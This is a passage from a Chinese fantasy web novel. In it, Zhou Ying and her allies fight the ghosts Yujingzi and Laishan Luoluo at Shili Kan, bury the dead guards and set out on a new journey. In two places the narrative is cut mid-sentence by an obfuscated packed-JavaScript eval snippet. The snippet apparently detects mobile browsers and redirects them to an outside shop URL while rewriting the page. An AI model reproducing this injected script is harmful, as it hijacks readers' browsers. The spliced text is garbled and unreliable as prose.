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被打的莱山罗罗可就惨了,刚躲过周盈一拳又埃海若渊一掌。莱山罗罗叫苦不迭,但他既奈何不了他们,又脱不了身。心里懊悔,当时又何必多事把人拦在苦牢! 一旁的金刀卫看得膛目结舌,看得摩拳擦掌,居然还可以这样! 莱山罗罗躲得辛苦,体力耗费甚大,渐渐漏出疲态。周盈与海若渊四目相对,迅速且无声地点了个头,随即双面夹击,要合力擒下莱山罗罗。 谁知莱山罗罗左右支绌间,却有超出常人的敏锐,几乎第一时间发觉二人意图,身形猛地一闪。 扑空瞬间,他嗖地窜出战圈,欲逃之夭夭。 周盈哪能由他逃,想也不想,猛地一掌拍下。 谁知,莱山罗罗恢复没多久,刚才又与二人缠斗,体力不支,身形不稳,周盈这一掌下去,不歪不斜,正正打中无忌公室的棺椁。 一声巨响,石棺轰地破开,瞬间碎石横飞,升起一阵浓烟。 无忌公室的石棺…… 金刀卫瞪大了眼睛。 全场鸦雀无声。 烟气渐渐平息,露出石棺被轰成无数的碎块,碎石堆里有一道极其微弱的光。 周盈愣了一下,不知道那是什么东西。 十八学士反应极快:“阎王刺,别让他拿走!” 失踪已久的重剑阎王刺居然就藏在无忌公室的石棺里! 周盈身子一腾,飞身夺走阎王刺。 定睛一看,剑上竟泛着一道独特的冷光,鬼气森森,阴寒至极。 金刀卫也反应过来了,纷纷大喊:“阎王刺!” 但是,再仔细一看,周盈手上的阎王刺竟然只有小臂长,分明是把匕首。 阎王刺竟然被铸成了匕首! 那剩下的部分呢! 周盈不及多想,阎王刺到了手里面,便一刀刺向莱山罗罗。 突然,一道黑色的身影闯入众人视线,在刀口离莱山罗罗胸膛一寸之处,生生截住了周盈杀手。 那人一身漆黑,一张脸惨白可怖!与周盈森然对视时,细瘦苍白的手抓住了周盈右腕。 周盈吃惊地看着他,那张病怏怏的白脸,又……又是一个病秧子?! 这时,只听见破空一响,一支飞箭直直射向玉京子。 玉京子病眸一动,嘴角上翘,不知道随手抓到了什么,撂在身后一挡。 众人大惊:“朱明公室!” 当时众人一颗心全悬在周盈二人与莱山罗罗的战斗上,只让几个金刀卫护送朱明公室离开,没想到玉京子早在一旁埋伏,又暗中把人劫住。 朱明公室武力低微,就算醒着也躲不过这惊天骇地一箭,何况现在已经不省人事。 周盈暗道不妙,想撞开玉京子。然而玉京子力道极大,一时间竟然挣脱不得。他又急又怒,险些踹出个窝心脚。这时,海若渊抢先一步,黑刀在半空轮了个半圆。铮地一声,刀箭相撞。 箭被迫偏离原来的轨道。 接着又是一道破空巨响! 继石棺之后,无忌公室的墓碑也遭了殃。谁也没想到海若渊随意一拨,那一箭不偏不倚,竟将无忌公室墓碑从中间生生射断。 金刀卫惊愕不已,眼珠子都快瞪出来,玉京子一声长笑:“好箭!好箭!” 16. 不寰鸟(十六) 玉京子狂笑一阵,忽道:“明师,叫些死人来做什么?” 众人纷纷回头,果见明师不知何时已经到了第八槛。 受他指示,金刀卫瞬间从混乱的局势中清醒过来,一拥而上,将玉京子与莱山罗罗团团围住。 周盈比旁人多看了几眼。 明师周身没入黑暗,唯有腰间流转着一束微光,像暗夜的游鱼,鱼鳞泛着柔和又耀目的光彩。 那是一张弓弦。 神机十器中恰好有个弓箭,名唤三叠,周盈记得清楚,关于唯一一把弓箭,神机会元记了三个字——“伤不愈”。 最直观的猜测就是被三叠弓射伤后,伤口无法愈合。 玉京子收回眼神,盯着周盈,忽然笑了一下。 手刚在被他捉住,那种冰凉浸骨的感觉实在不妙,现在他无故笑了一下,周盈立即警觉起来。 玉京子道:“人家赶着送死,你又瞎掺合什么?” 周盈一头雾水,几秒之后,忽然醒悟:“是你骗那些人去三摩地!” 玉京子道:“他们心甘情愿,怎说是骗?你冤枉人。” 听他满口胡言乱语,周盈不怒反笑:“你明知他们会死,还故意透露用神机会元透露阎王刺的消息哄他们去。当然不是骗,是居心不良,蓄意戕害人命。” 玉京子笑道:“我又不认得他们,为什么要害他们?如果不是他们太贪,又怎会被纸上三言两句耍得团团转?” 这句话竟然人无从辩驳,周盈好半天才挤出几个字:“你为什么要这样做?” 玉京子敛了笑,当真思索了好一阵,才说:“也许是活得太长,有些无聊吧。” 周盈着实被这轻飘飘一句气到了,因为一句无聊,就可以让这么多条人命赔上性命,人命在他眼里又算什么? “下辈子在苦牢里边儿继续无聊吧!”周盈忍住没让这句话冲口而出。 目光微动,周盈迅速看了眼现场情况,对可能局势进行预判。 除他以外,离玉京子最近的就是海若渊,一会儿若动起手,海若渊一定可以带走朱明公室。但是阎王刺只有一把,再快也只有一次出手的机会,而且必须一击必中。莱山罗罗还是玉京子,究竟该选谁,一时举棋不定。 因为他根本无法确定玉京子是不是恶鬼。 一番思索后,视线回落在黑压压的人群身后。金光闪烁,那张大网上每一处都流转着丰沛力量,不寰鸟早就包围了整个十里槛,他们逃不了了。 只见阎王刺在暗夜划出一道流畅、炫目的轨迹,出乎众人意料,这把利刃竟然攻向了玉京子。 看到这个举动,玉京子似乎也很是惊讶。 明师始终在高处关注战局,神色沉着。 果然,周盈一动,玉京子下意识集中精力对付他。海若渊便趁机带走朱明公室,并给周盈投去一个赞许的眼光,可惜没人看见。电光火石间,却见周盈身形猛地一转,原本要攻向玉京子的利刃乍一调头,袭向了莱山罗罗。 变化来得太快,莱山罗罗避之不及,刺骨疼痛袭来,一条左臂被生生卸去。血雾喷射而出,顿时血腥漫天,莱山罗罗的左臂在空中划优美的曲线,利落地滚到了人群中。 看得自己的断臂,莱山罗罗那张青色的面孔骤然扭曲变形: “啊———” 一声极度痛苦的哀嚎划破长空。 “呜——啊——” 像是看到什么极度恐怖的东西。 受到极度惊吓,莱山罗罗像是没有痛觉一样,只顾狼狈地往后缩,像是在躲避什么可怕的东西。 同一时间,周盈左手化掌,击向玉京子心口。 远处,明师箭在弦上,手一松,目标直指玉京子。 玉京子腹背受敌,但他依旧不慌不忙,似乎明师丢过来的只是个小石子,周盈拍过来的只是个小水花。 黑色箭羽在暗夜中一时辨认不请,箭风凌厉,穿过一片血雾,索命而来。 几乎同一时间,透心一掌重重拍过玉京子胸膛。他支持不住,竟被打得后退两步,呕出两口鲜血。 然而,那箭却被玉京子稳稳当当握在手上。 掌心皮肉被剥离得面目全非,露出森森白骨,苍白的手顿时血流如注。 玉京子与莱山罗罗面临前所未有的危机,他们分别被废去一掌一臂,又陷入了公室重重包围,被擒作保命符的朱明公室也被夺走。 然而,玉京子惨白的脸上再次出现笑意。 他轻轻松开手,看了看鲜血淋漓、血肉模糊的伤处,神色淡然,好像那不是自己的手,只是一件失败的作品。把箭一抛,玉京子缓缓回身,对周盈无声道:“小姑娘,我记住你了。” 这句话,没有一点儿被算计的怨恨,也没有一点儿受伤的痛苦,甚至连恐惧恐惧都没有。好像只是一场游戏、一场已经渐渐接近尾声的狂欢,而他一直冷眼旁观,如今意兴阑珊,理所当然要离开。 众人没听清他究竟说了什么,一时不明觉厉。谁知下一刻,束束金光拔地而起,从第一槛开始窜升,升到第二槛、第三槛、第四槛……第八槛,一直到了第十槛,在十里槛顶上聚合在一起,闭成一张大网。 十里槛外面出现了一只巨大的金色的“鸟笼”! 稍远处,明师还在注视着整个战局,手不曾离弓,不是他发动的阵法! 下一秒,漫天箭雨扑面而来。 随后就是一阵惨叫! 从第一槛到第八槛,哀嚎遍地。 玉京子根本没想过破阵。 他只是提前触发了阵法。 周盈因为那句话起了一身冷汗,甚至不确定地要去摸那喉间凸起。然而,漫天箭雨猝不及防扑面而来,她忙拔剑出鞘,旋出一道剑网,抵御四处乱射的飞箭。 箭从四面八方射来,要把他们活生生射成筛子。刀光剑影中,金刀卫的哀嚎声此起彼伏,惊心动魄,叫人脚底发寒! 这原本是伤敌一千,自损八百的法子,偏偏莱山罗罗是不死之身,就算把他射成刺猬,对他也没一点伤害。 不寰鸟一启动,局势瞬间逆转,眨眼之间,胜利的天平倾向了罗刹海二人。 玉京子已经掌握了主动权,打量着这一切,似乎在欣赏自己的杰作。他丝毫不在意莱山罗罗的惨嚎,也不关心自身伤势,任由左臂麻木地吊着,鲜血从掌心里啪塔啪嗒流下。 他在等。 等明师不得不撤下不寰鸟。 “不寰鸟,取的是飞鸟投林,鸟本傍林而生,自由的所在如今反成樊笼。” 金刀卫本依附十里槛而存在,一辈子都奉献给了公室,没想到这座山却成了他们葬身的坟场! 时间一分一秒过去,金刀卫的哀嚎似乎从未停止。生命的流逝不比时间慢一点儿,触目惊心的鲜血将明师拉回一百年前恶鬼凌虐的世界。 一轮红日坠入天穹。 他的脚下是一具具鲜活的尸体,余温还未散尽。人死后,尸骸堆积成山,再也分不清谁是谁。 一股浓烈的血味钻入鼻腔,鲜血啪嗒一声,震耳欲聋,一张张浸血的面庞争先恐后朝他挤出笑。 就好像在嘲笑他那一晚做下的决定。 灯火阑珊处,明师终于丢下三叠弓,双掌并结法印。紧接着,围绕着十里槛的金光一道道撤去,箭阵即刻停止,樊笼一点点消失。 攻击一停,周盈把剑沉甸甸一放,只觉得手臂一阵阵发麻。 此时,金刀卫倒下泰半,死者千百,伤者无数。谁也不会想到,如此平静寻常的一夜,十里槛经历了怎样恐怖的杀戮。 然而玉京子摇了摇头,似乎对这种效果不是很满意。 你敬我一尺,我便要敬你一丈,恶鬼的报复哪有这么简单! 周盈看到两团黑气浮在自己的面前,还以为是自己被箭阵花了眼睛。但那两团黑气一直绕着她打圈,像是在看美味的点心,找准味道来源后,一口咬了过来。 “啊啊啊……” 几个声音此起彼伏: “身上!” “快看金刀卫身上!” 一团黑气从死掉的金刀卫身上突然冒出,像断线的风筝,随风空中飘摇,不受控制,摇摆不定。一靠近活人,猝不及防嗖地一下,钻进那人的眉心。 一阵古怪的抽搐,那些人然后开始一拳一拳打在自己天灵。 还有人尖叫一声,举起金刀,插进了自己胸膛! 尸体倒下后,又有一团黑气从死人的眉心钻出来。 不,是两个,周盈看见两团黑气钻出死人躯体,然后兴冲冲地撞向自己。 无数的黑气从尸体钻出来,开始攻击活人! 一波刚平一波又起! 周盈抽出剑,想要拍开那两道黑气。 但它们似乎缠上了她,像咬到了美味的食物,死活不肯松口。 十八学士一声吼道:“别让它们靠近你!” 她也想啊! 周盈心里暗暗叫苦。 但那两团黑气像长了鼻子似的,嗅着人味儿就自动黏了上来。 周盈大声道:“这究竟是什么东西?”浑然不觉不知道从哪里飞来的一团黑气正要往她头上“啄”呢! 十八学士一把扯开周盈,急道: “火!” “快点火!” 火?周盈四处搜寻,哪里有火? 然后一拍手,像是反应过来什么。 随即只见她左手食指与大拇指靠近一搓,一团幽蓝的火焰在窜上指尖,噗地升起两尺高。 用力过头了…… 周盈一看,刚刚还如饥似渴的两个黑气居然一瞬间跑出三尺远,她举着火一晃,那两团黑气瑟瑟发抖,竟然对她退避三舍。 看到周盈收到的奇效,众人有样学样,都抱火“取暖”去了。 周盈松了一口气,问道:“学士,这究竟是什么东西?” “死灵。” 死人不安分的灵魂。 十八学士视线移向玉京子,似有浓浓恨意。而明师与海若渊对视了一眼,心照不宣。 人有魂有体,平时只能看到彼此的□□,无法感知到灵魂。 因为□□有实实在在的温度,可以感受到,有清楚的形状,可以被看到。但是灵魂却依附在□□里面,人活着,它便安安稳稳的。人一死,□□也不能用了,灵魂就被迫舍弃自己的肉身。 因为无法被感知,离开肉身以后的灵魂无依无靠,四处漂泊,却与活人一直相安无事。 但是一百一十九年前那只恶鬼不知用了什么法子,操纵了灵魂。这些被操纵的灵魂就是“死灵”。死灵为了让自己“活”过来,就会主动去抢夺侵占活人的身体。 一山不容二虎,一体不容两魂。 两个灵魂争夺身体的所有权,大打出手。死灵与本体灵魂的内斗,阴气碾压阳气,造成阴阳失衡。架打完,人也就一命呜呼。 最恐怖的是,每死一个人,就会多出一个灵魂。这个灵魂会继续抢占下一个肉身。争斗不休不止,在恶鬼出现短短数月里,五十六万人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796349|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丧生。 玉京子刚才还饶有兴味地看着这场“内乱”,见自己操纵的死灵仅仅靠一个小火把就被压制住,渐渐失去兴味。 千百缕火焰中,只见周盈手上那簇发着幽蓝的光,在指尖有规律的跳跃,忽明忽暗,却没有丝毫熄灭的迹象。 她看着那些死灵安定下来,倒也松了口气,渐渐理清楚头绪。 对付死灵有两种办法: 第一,等。 一直等到天亮。 只要太阳出来,就会把这些死灵逼回暗处。 但这个方法治标不治本,等天一暗,死灵又会开始作祟。而且,现在离天亮还有相当一段时间。 第二,找出玉京子操纵这些死灵的手段。 可是,从他出现一刻,就一直与公室正面交手,没有看见有什么异常的举动。 玉京子意兴阑珊,重头戏已经过了,再留在这里也没什么意思。想起什么,侧目一瞥,随即冷笑一声。 莱山罗罗被活生生射成了刺猬,一只箭从口中插入,箭上湿湿黏黏,滴滴答答正挂着他的口涎。他感受不到疼痛,却一副死人样地歪在无忌公室墓碑边上,口中正胡言乱语。 “闭嘴,不准念经”。玉京子呵道。 他两步走上去,拽起了莱山罗罗,又朝十八学士与明师分别玩味地看了一眼,便在众目睽睽下逃出了第八槛。 周盈拔腿欲追,却被十八学士拦住。 十八学士神情严肃地指了指什么东西。 随着他的视线看过去,那是离公室坟墓不足两百米的一处角落,因无人守护,灯火燃尽后,只是黑黝黝的一片,在一片火光中十分不显眼。 但是只要稍稍凝神就能看到那里正笼罩着一股黑气,黑气似乎从地底源源不断地冒出,然后迅速向四周扩散。 黑气的源头,就在苦牢。 十八学士一指:“阵眼在那里。” 也就是说,玉京子是用阵法控制了这些死灵。 任何法阵都有阵眼,明师布下的不寰鸟是以整个十里槛为阵眼。玉京子既然能提前布下阵法,那阵眼一定是在某个他停留过的地方。而且这个阵法布置起来颇耗费功夫,他一定要在那个地方待上相当一段时间。为了救莱山罗罗,这个地方最有可能就是苦牢。 也就是说,孤身闯入十里槛,玉京子做了两手准备。 第一,他无法毁掉十里槛,索性就在不寰鸟上面动手。第二,他无法确定明师何时会撤下阵法,为了争取逃跑的时间,便另外设了个阵法。不寰鸟杀死的人越多,第二个阵法效果就越好。 一环扣一环,以彼之茅攻彼之盾,翻掌之间,四两拨千斤,打得公室措手不及。 看着玉京子就这么大摇大摆离开十里槛,却无人再追。 明师设下不寰鸟,就是为了在十里槛把人解决,如今阵法一撤,再动手只会伤到更多百姓。 那团黑气完全没有被压制住,周围的死灵极其活跃,十八学士略一沉思,道:“用阎王刺试试。” 浑浊的黑气抑制不住地四处飞窜,还没走到刑架,周盈就感觉到一种说不出的压抑,好像灵魂搅在一起,要把肉身活生生撕裂开。 阵眼所在,就是法阵最棘手的地方。那团黑气像无数死灵纠结在一起,一旦有人靠近,争先恐后,像恶狗扑食一样抢夺生人的□□。 她不敢大意,连忙退出苦牢。 海若渊见周盈被逼出苦牢,道:“我来。” 话音刚来,人便大步走了进去。 周盈看里面迟迟没有动静,冲里面喊道:“喂,你还在吗?” “在。” 之后就没声了。 周盈又问一句:“还活着吗?” “……” 黑气外溢,什么都看不见。 周盈远远地走了几步,一掌拍出,屋顶被砸出个破洞。她想,这样就看得清楚一些了。 周盈爬在屋顶上,往下看,里面黑漆漆的,一点儿动静也听不到。于是冲着里面问:“砸到你没?” 里面的声音道:“刚好。” “刚好砸中。” “……” 周盈仔细一瞧,破洞刚好对着那团黑气。 但是海若渊在干什么,被黑气遮得严严实实的,什么也看不到。 对了,火,海若渊的火熄了。 周盈搓了搓手,一团幽蓝的火焰炸在眼前。颜色不对,她把火掐掐灭,重新念了个法诀,一道煞白的光窜上掌心。 紧接着,瞄中黑气聚拢之处,把那团白焰抛了下去。 强烈的白光瞬间照亮苦牢。 海若渊被围在黑气中间,好像在寻找什么东西。 周盈又抛下一团白焰,焰火瞬间被黑气吞没。但是,在坠地一刻,白焰火又瞬间气势大涨,并且压制了黑气。 煞白的焰火与黑气纠缠在一起,此消彼长,谁也不肯低头。 周盈眼尖,冲里面喊道:“往火上扎。” 海若渊一看,一黑一白,极致拉扯着,竟像是阴阳共生之态。在白焰要吞并黑气一刻,海若渊抛下阎王刺。黑气瞬间收拢,一点点往中间聚集,最后被死死压在阎王刺下面。 黑气被尽数收拢以后,那团白焰却轻易逃脱了阎王刺的压制,溜到一旁,渐渐与周盈丢下的第一簇白焰融为了一体。 苦牢外,无数浮在空中的黑气像炸开的水花,嘭地一下,滴水入河,瞬间消散得干干净净。 待一切结束,玉京子与莱山罗罗早就不知所踪了。 17. 不寰鸟(十七) 公室对罗刹海的围捕以惨败告终。 第一槛到第九槛,伏尸遍地,满目疮痍。三千金刀卫,死者千余,重伤数百。受伤不能动弹的又去三四百人。剩下的一千余人,又要拨出八百守卫各槛。偌大的十里槛,能调配的人手竟然不过二三百人。 此刻,周盈正在第八槛后山勤勤恳恳挖坑埋人。 奋战半夜,身后的土积了一丈来高。旁边就是一排尸体,整整齐齐,遗容可叹。 她停下挖土的动作,目光瞥向一旁的死者。很明显这人是被箭射死的。致命伤在腰间,箭从背后贯穿他的身体,然后第二支箭匆匆从肩膀擦过。腰间的血一直染到裤头,现在已经干了。 另一具尸体死状更加凄惨,一张脸被金刀贯穿,血肉模糊,面目全非。尸体主人是被死灵攻击,癫狂之下,自杀而亡。 坑挖好以后,这些尸体被轮个儿抛了进去。先铺满坑底,然后一具压过一具,像深秋的枯叶,衰败又腐朽。 到了盖土的时候,明师不知道从哪里临时挖来一块石碑,四面都削得齐整,一看,上面没有名字,只有一个日期:九月二十二。 是死者死去和下葬的日子。 炼狱般的一夜,连着上千人的性命凝成一个最平常的日子。 上千金刀卫,没有一个人留下名字。 海若渊不知道什么来的,他在旁边看了很久,默不作声。 周盈不知道他在想什么,又忍不住偷偷拿余光瞄他。 海若渊衣角闪着一抹红,周盈又看了几眼,发现那是一滩血渍。 见海若渊抬起手,忽然移动了两步,周盈连忙收回了目光。 第八槛另一边,九代公室旁边同样的位置,一块崭新的墓碑重新立起。这墓太新,和旁边诸代公室衰败陈旧的墓碑格格不入。 周盈走过来时,正看见朱明公室独自一人站在墓碑前面。看见亲生父亲的棺椁受到这样的践踏,朱明公室似乎想说什么,但最后还是一句话也没说。 无忌公室的棺椁是被周盈一掌拍碎,她有些愧疚,想上去安慰两句,却被十八学士拉住。 这件事情,是无忌公室的不幸,却是整个公室的幸运。 三千金刀卫,在世人看来自是不可侵犯,但一面对恶鬼,就是蜉蝣撼树。有了阎王刺,公室才能和恶鬼对抗。 众人都明白这点,虽万分爱戴无忌公室,也只把话藏在心里。碍于十二指玉楼的面子,更没有人会跳出来责备周盈无礼的举动。 后来有人问起朱明公室是如何被玉京子所擒,他只记得是被人从后面袭击,其他事情一概不知。幸好玉京子擒他去当挡箭牌,却没有下手伤他。劫后余生,忧喜参半,面对公室的惨象,上千金刀卫陈尸当场,他好似心有余悸,心情怏怏的。 听到阎王刺失而复回,他忽然笑了一下。 笑得古里古怪。 公室气氛低沉,周盈也不好随便出口讨人厌。只是她怎么也想不明白,恶鬼既然有心偷走阎王刺,又为何费心把它藏在公室?藏回公室便罢,又偏偏挑中了无忌公室的坟墓。莫不是对当年之事怀恨在心,刻意折辱? 而且公室远非表面看上去那样平静,不知不觉间,似乎有股暗流涌动。 藏剑之人能随意往返第八槛,还不露出一点儿马脚,公室出了奸细已经是心照不宣的事实。 现在忙于料理后事,又有外人在场,明师和海若渊对这事绝口不提。九鬼预言成真已经是事实,莱山罗罗顺利逃脱,只要四村惨案再发生一次,势必引起动乱。 但这也似乎验证了一个事实,恶鬼与罗刹海必然有某种不为人知的关系。 总之,寻回剩下的阎王刺和确定九鬼名单已经迫在眉睫。 午后,周盈与十八学士向公室辞行。 朱明公室称病不出,海若渊另有要事。明师则亲自把他们送到第一槛。想到十二指玉楼行踪隐秘,为免太大的阵仗引起外人胡乱猜测,明师只让两个金刀卫跟随。 此外,还有个翠衣女子随行。 女子衣着形容远别于一般金刀卫,对明师也不拘常礼,当日又是她领周盈与十八学士上第八槛,可见其在公室地位不凡。 等出了十里槛正大门,她才出声道:“二位长日奔波,此去想必路途遥远,道路若有需要,凭此物,各处金刀卫听凭二位差遣。” 说罢,果然见金刀卫端上个木盒。 一打开,金枝令赫赫生彩,一枝四个枴,竟是两枚四段金枝。 公室金枝,从不轻赠外人。四段金枝已经是重礼,何况还有两枚。 金刀卫认令不认人,凭借金枝令可随意调动公室在各处安排的金刀卫。有了这个东西,以后行事会方便很多。十八学士大大方方收下了,从容道:“多谢孔雀姑娘。” 见十八学士收下饯礼,明师才道:“昨日与学士商量之事,烦请多加考虑。” 十八学士道:“楼主知晓,必定仔细裁夺。” 明师与孔雀亲自送他们出了十里槛大门。 走出去好几步,周盈忽道:“我好像在哪里见过那个女子。” 十八学士提醒道:“山神祭典。” 祭典,难道是那翠衣祭司! 经十八学士点拨,周盈瞬间想起来了,当时在槎枒村见到那迎神祭司,观她步法,的确不似寻常百姓,只是没想到她也是公室之人。 可惜公室虽然准备了万全之策来收拾莱山罗罗,到底还是功亏一篑。 十八学士想起件事,道:“巡察四村惨案时,明师遇见了晴岚山市的人。” 晴岚山市与公室素有旧怨,无忌公室死后双方井水不犯河水,多年没起冲突。周盈一听,便知道明师这句话是什么意思。 “明师以为他们出现的时机太过蹊跷,疑心他们与恶鬼有所勾结?” 十八学士道:“明师的确有这个意思。” 周盈若有所思,忽然明白临行之前明师大方送出的两枚四段金枝欲以何为,便道:“既然收下公室重礼,学士认为晴岚山市有问题?” 十八学士眯起眼睛,笑得像只老狐狸:“我可没这么说。”随即拿出匣盒,挑出一段金枝递给周盈,“合作图的不过利益二字,只要有利可图,和公室难免会有需要合作的一天,我只是先收些利息。” 金枝令已经递到面前,周盈并不伸手接下,这两枚金枝令是送给十二指玉楼的,和她没有什么关系。便宜讨得已经够多了,可不能贪得无厌。 十八学士见坚持她不收,劝道:“这枚金枝是我给你的,便是承情也是承我的情。” 周盈摇头:“便宜我占了,债却是让十二指玉楼来还,没有这样的道理。” 十八学士见她固执,只好道:“你不收,这话让我怎么好意思开口呢?” 周盈爽快道:“学士要我做什么?” 十八学士又摸出幅画:“若有一天你遇到画里的人,就告诉他,让他回来,我们一直在等他。” 卷轴缓缓铺开,上面是个长得过分好看的男人。 男人身上没有修行人的血气与狠劲,手持翠色长箫,风雅又温和,但周盈能清楚地感到他眉目间传递的疏离感。 这人便是啸月梅林,日月轮的第一个主人。 他与妻子双双失踪后,整个十二指玉楼暗中寻找多年,四方天地翻了个遍,却是生不见人,死不见尸。 周盈胸口一闷,将画收下,却依旧拒绝了金枝令。 十八学士苦笑一声,一些痛苦往事再次涌上心头。良久,他提醒道:“提防玉京子。” “他,也是恶鬼。” “第三只恶鬼?”周盈神色一敛,“学士如何确定?” 十八学士叹了口气,才道:“这也是一件往事。” “一百一十九年前,梅林夫妇无故失踪,其实当时梅林给楼主发过求救信号。” “但偏偏……偏偏就是前一日,楼主即将临产。” 周盈一听,预感大大不妙。 “楼主生子时我们都不在,只有楼主夫婿在旁照顾。十二指玉楼少于外面接触,更无仇家,生产场所又隐秘,一切本该顺顺利利。” “谁知那天玉京子突然找上门,杀害了楼主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796350|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫婿。” “一前一后,不过一个晚上的时间,实在……实在太巧合。所以擒住玉京子后,我们并没有立即杀死他,希望能从嘴里问出话。谁知,他竟然自断首级。” “我亲眼见他死在跟前,尸体也是我亲自拖去埋掉,可今天他居然出现在十里槛。” “尸化百年,一朝重生……他也是恶鬼。”十八学士道,“没有阎王刺,你杀不了他。” 日出天亮,前路迢迢,二人道别。 依旧是周盈目送十八学士消失在远不可及之处,周盈向他招招手,远处的人影也回过头,向周盈挥挥手。 十八学士身影消失在人群中后,周盈茫然地望着行人攘攘的大街,半天也没动一步。日月轮的线索断了,她不知道要去哪里。 忽然,背后猝不及防响起一个讨厌的声音。 “怎么是你?”海若渊古里古怪道。 周盈警惕地看着他,说:“你这话什么意思,什么叫‘怎么是你’?” 海若渊一副自认倒霉地模样,说:“十二指玉楼说好派个人帮忙找阎王刺,我还以为是十八学士,没想到……”他顿住不言,却一副尽在不言之中的讨厌样。 周盈只当他胡口乱吹,这件事情十八学士可没告诉她,即便公室真的和十二指玉楼约定过什么,十八学士也不可能让她去。 因为她根本不是十二指玉楼的人。 周盈笑了笑:“我的确没听说,可能学士忘记告诉我了,也可能学士打算另外找人,要不你走一趟,亲自向学士问问。”说着,不顾海若渊什么鬼表情,胡乱一指,说,“学士刚走没多久,您老人家走快点,这会儿还追得上。” 心里却想:“学士把脸一遮,你认出个鬼。” 说完,她懒得和海若渊纠缠,拔腿就走,海若渊忽道:“你真是十二指玉楼之人?” 周盈猛地一顿,转过身:“你想说什么?” 海若渊道:“难道十二指玉楼都是这样翻脸无情,说话不算话?” 他这话分明直是故意纠缠,周盈就知道自己不该停下,就应该有多远跑多远。但是既然停下,她非得也让他不痛快。 反口质问:“公室之人就是这样信口雌黄,胡搅蛮缠?” 谁知,海若渊居然说了一声:“是。” 周盈真被他搞毛了。 这时为他送行的金刀卫牵来两匹大马,黑色的皮毛油澄澄地发亮,一看就是匹好马。 一人一马,海若渊有心与她套近乎,大有缠上她的意思。 周盈知道一时半会儿摆脱不了他,又固执地不要受他恩惠。不等他开口,自顾自去寻马。 毕竟要走远路,没个脚力真得累死。 十里槛本是九江汇集的交通要道,商贩走卒更是络绎不绝,什么都有,若肯花钱,还是个顶个的好。 但周盈没钱。 挑了半天,终于瞧见不远的客店下正有一匹马,虽比不得公室的精壮,寻常代步也足够。再一看,旁边是两个大空筐子,想必货物已经卖完了。马脖子上挂了牌,写着:此马贱卖。 这种载货跋涉的马匹最是温和有耐性,当脚力正合适。 周盈走过去问那货马的主人:“这马怎么卖?” 那货郎本是生意人,心中自有一套生意经。说是贱卖,他却不先报价。反而问道:“公子愿意出多少?” 周盈随便报了个价:“十八两如何?” 周盈在公室挖坑、搬尸,十八学士送的那套衣服早已经污秽不堪。新换的一身衣衫,倒不似先前贵重,那货郎料她不是富余之人,随便添了二两,道:“二十两拿去。” “成交!”周盈答应得爽利。 海若渊见她一顿忙活儿,最后牵回个拉货的驽马,道:“公子眼光果然独特。” 二十两的货马单看也还算过得去,尤其周盈自己挑的,越看越顺眼,只是一与公室的千里马站在一起就显得通身土气,格外羸弱。 等二人驾马走到人烟稀少的地方,也到了它撂挑子的时候。 那货郎果真没讹周盈一文钱。 18. 玲珑骨(一) 此地荒郊野岭,荒无人烟,更没地方住宿,周盈拽着马缰已经念叨了大半个时辰:“万两啊万两,再不动,我可真要把你买了。” 二十两的驽马,偏偏取这个名字。海若渊忍不住道:“这个名字实在……别致。” 周盈振振有词:“只有你家的稀罕吗?不是千里马,也值万两金,二十两买的也是宝贝!” 海若渊道:“干脆叫万里不是更好。” 周盈白他一眼:“万里,跑都跑死了。” 大黑马一声长啸。 海若渊回头呵道:“安静,阿金。” 周盈瞥了他一眼:“你的也好不到哪里。” 见周盈又回头继续低声下气央求,海若渊在一旁吹凉风:“哪有你这样使唤的,你看它答应吗?” 这话刚说完,这笨马真又走了两步,周盈得意道:“你看,不是答应了。” 答应是答应,不过它走这两步是嫌风太大,躲开风口,它便美滋滋阖目养神去了。 马是站着睡的动物,人就难解决了,荒山野岭,又没有人家,难道和马干站一晚? 周盈又使劲去拽那缰绳,好声央求道:“万两,好万两,再走两步。” 那马怏怏的,死活不愿意多挪一步。 周盈才知道它的主人为何卖得这么痛快。 眼见今晚是走不成了,海若渊道:“找找总有地方歇息。” “那它呢!” 此地虽偏僻,但还不到荒无人烟,是盗贼的老巢。人自然不怕,就怕马被什么不长眼的路过,顺手牵羊。 海若渊道:“我把阿金一起留在这儿。” 一起留在这儿,相互照应,然后一起被顺手牵羊? 周盈连连摇头,她总觉得海若渊哪根筋长歪了。 海若渊道:“阿金可是公室专门驯养的,一般的盗贼可不敢近它的身。” “那不一般的盗贼呢?” “看不上它。” 周盈心里叹气,笨马无用,主人受累,只好跟着海若渊走了。 一阵东走西窜后,二人不知道被迷到哪座山头。很快,周盈发现自己的担忧完全多余。这里岂止罕无人烟,连鸟兽都难见,比起被居心不良的人看上,自己的小货马荒野迷路的可能性都要大些。都说老马识途,但它显然还没到此种资历。走了一会儿,周盈开始暗暗后悔没有拴好马。 海若渊自然没有这种顾虑,周盈还在忧心不争气的万两时,就听他道:“有一间破庙。” 一看,果真是间破得不能再破的庙,屋顶被掀去大半,来阵风、刮道雨,就是一面漏风三面落雨。住在这样的房子里,真不如在桥底将就一晚。 但此地没有桥,想将就也没地方将就。 